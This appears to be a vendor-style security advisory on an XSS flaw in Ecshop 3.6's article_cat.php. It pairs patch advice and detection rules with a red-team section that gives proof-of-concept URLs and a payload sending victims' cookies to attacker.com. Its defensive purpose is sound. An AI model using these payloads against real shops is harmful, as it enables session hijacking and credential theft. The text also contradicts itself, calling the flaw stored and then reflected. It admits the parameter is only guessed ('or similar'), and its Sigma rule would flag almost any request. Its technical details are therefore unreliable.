CVE-2024-35362

Executive Summary

CVE-2024-35362 is a stored Cross-Site Scripting (XSS) vulnerability in Ecshop 3.6, specifically within the ecshop/article_cat.php endpoint. An attacker can inject arbitrary JavaScript into the application, which is then executed in the browser of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

Ecshop is a self-hosted PHP e-commerce application. There is no official package manager distribution (e.g., NPM, PyPI, Go, Ruby). The risk is primarily from direct installation of the vulnerable source code. Users must manually apply security fixes or migrate to a maintained fork.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the crafted URL)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and the public availability of proof-of-concept code increase the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the article_cat.php file of Ecshop 3.6. The application fails to properly sanitize user-supplied input before reflecting it in the HTML output. Specifically, the id parameter (or similar) is not escaped, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The application uses echo or print to output the value of the id parameter without applying htmlspecialchars() or similar escaping functions.

Attack Vector: An attacker crafts a malicious URL like:

http://target.com/ecshop/article_cat.php?id=1<script>alert('XSS')</script>

When a victim clicks this link, the script executes in their browser context.

Impact: An attacker can steal session cookies, redirect users to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Ecshop 3.6 - article_cat.php):

<?php
$id = $_GET['id'];
echo "<div>Category ID: " . $id . "</div>";
?>

Patched Code (Manual Fix):

<?php
$id = isset($_GET['id']) ? htmlspecialchars($_GET['id'], ENT_QUOTES, 'UTF-8') : '';
echo "<div>Category ID: " . $id . "</div>";
?>

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Ecshop 3.6 instance.
• A web browser or tool like curl.

Proof-of-Concept (PoC):

curl "http://target.com/ecshop/article_cat.php?id=1<script>alert(document.cookie)</script>"

Advanced Exploit (Session Hijacking):

<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

Craft the URL:

http://target.com/ecshop/article_cat.php?id=1<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Install Docker and pull a vulnerable Ecshop image (if available) or set up a local LAMP stack.
2. Deploy Ecshop 3.6.
3. Use a local web server (e.g., python -m http.server 8080) to capture cookies.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious id parameters containing <script>, onerror, or javascript:.
• Use a Web Application Firewall (WAF) to block XSS patterns.

Hunting:

• Search for requests to article_cat.php with unusual query strings.
• Look for outbound connections from the web server to unknown IPs (potential data exfiltration).

Indicators of Compromise (IOCs)

• URL Pattern: */article_cat.php?id=*<script>*
• Log Entry: GET /ecshop/article_cat.php?id=1<script>alert(1)</script>
• Network Traffic: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• File Modification: Unexpected changes to article_cat.php or other PHP files (if attacker uploads a shell).

Detection Engineering

YARA Rule

rule CVE_2024_35362_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting Ecshop article_cat.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35362"
    strings:
        $xss_pattern = /article_cat\.php\?id=.*<script/i
        $xss_pattern2 = /article_cat\.php\?id=.*onerror/i
        $xss_pattern3 = /article_cat\.php\?id=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Ecshop article_cat.php XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against Ecshop article_cat.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'article_cat.php?id='
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of 'javascript:' in URL (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35362 Ecshop XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/article_cat.php"; http_uri; content:"id="; http_uri; pcre:"/id=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Manual Patch: Modify article_cat.php to use htmlspecialchars() on all user input.
2. Web Application Firewall (WAF): Deploy rules to block XSS patterns in query strings.
3. Input Validation: Implement server-side validation for all parameters.

Long-Term Solutions:

• Migrate: Consider migrating to a maintained fork or alternative e-commerce platform.
• Security Hardening: Regularly audit code for XSS and other vulnerabilities.
• User Education: Train administrators to avoid clicking suspicious links.

Workaround:

• Disable the article_cat.php endpoint if not needed, or restrict access via .htaccess:

<Files "article_cat.php">
    Order Allow,Deny
    Deny from all
</Files>

Valters IT